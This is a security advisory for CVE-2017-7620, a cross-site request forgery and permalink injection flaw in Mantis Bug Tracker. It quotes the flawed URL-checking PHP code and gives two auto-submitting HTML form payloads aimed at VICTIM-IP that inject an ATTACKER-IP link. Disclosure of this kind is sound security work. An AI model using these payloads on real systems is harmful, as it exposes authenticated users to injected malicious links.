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Mantis Bug Tracker 1.3.10 / 2.3.0 Cross Site Request Forgery

Mantis Bug Tracker 1.3.10 / 2.3.0 Cross Site Request Forgery
Posted May 22, 2017
Authored by hyp3rlinx | Site hyp3rlinx.altervista.org

Mantis Bug Tracker versions 1.3.10 and 2.3.0 suffer from a cross site request forgery vulnerability.

tags | exploit, csrf
advisories | CVE-2017-7620
SHA-256 | 657f51bab66ce5d5cf6800d27e2f3bc584ea834cf9cbd98479d947434a3b0ead

Mantis Bug Tracker 1.3.10 / 2.3.0 Cross Site Request Forgery

Change Mirror Download
[+] Credits: John Page a.k.a hyp3rlinx  
[+] Website: hyp3rlinx.altervista.org
[+] Source: http://hyp3rlinx.altervista.org/advisories/MANTIS-BUG-TRACKER-CSRF-PERMALINK-INJECTION.txt
[+] ISR: ApparitionSec



Vendor:
================
www.mantisbt.org



Product:
=========
Mantis Bug Tracker
1.3.10 / v2.3.0


MantisBT is a popular free web-based bug tracking system. It is written in PHP works with MySQL, MS SQL, and PostgreSQL databases.



Vulnerability Type:
========================
CSRF Permalink Injection



CVE Reference:
==============
CVE-2017-7620



Security Issue:
================
Remote attackers can inject arbitrary permalinks into the mantisbt Web Interface if an authenticated user visits a malicious webpage.

Vuln code in "string_api.php" PHP file, under mantis/core/ did not account for supplied backslashes.
Line: 270

# Check for URL's pointing to other domains

if( 0 == $t_type || empty( $t_matches['script'] ) ||

3 == $t_type && preg_match( '@(?:[^:]*)?:/*@', $t_url ) > 0 ) {



return ( $p_return_absolute ? $t_path . '/' : '' ) . 'index.php';

}



# Start extracting regex matches

$t_script = $t_matches['script'];
$t_script_path = $t_matches['path'];




Exploit/POC:
=============
<form action="http://VICTIM-IP/mantisbt-2.3.0/permalink_page.php?url=\/ATTACKER-IP" method="POST">
<script>document.forms[0].submit()</script>
</form>

OR

<form action="http://VICTIM-IP/permalink_page.php?url=\/ATTACKER-IP%2Fmantisbt-2.3.0%2Fsearch.php%3Fproject_id%3D1%26sticky%3Don%26sort%3Dlast_updated%26dir%3DDESC%26hide_status%3D90%26match_type%3D0" method="POST">
<script>document.forms[0].submit()</script>
</form>



Network Access:
===============
Remote




Severity:
=========
Medium



Disclosure Timeline:
=============================
Vendor Notification: April 9, 2017
Vendor Release Fix: May 15, 2017
Vendor Disclosed: May 20, 2017
May 20, 2017 : Public Disclosure



[+] Disclaimer
The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and
that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit
is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility
for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information
or exploits by the author or elsewhere. All content (c).

hyp3rlinx
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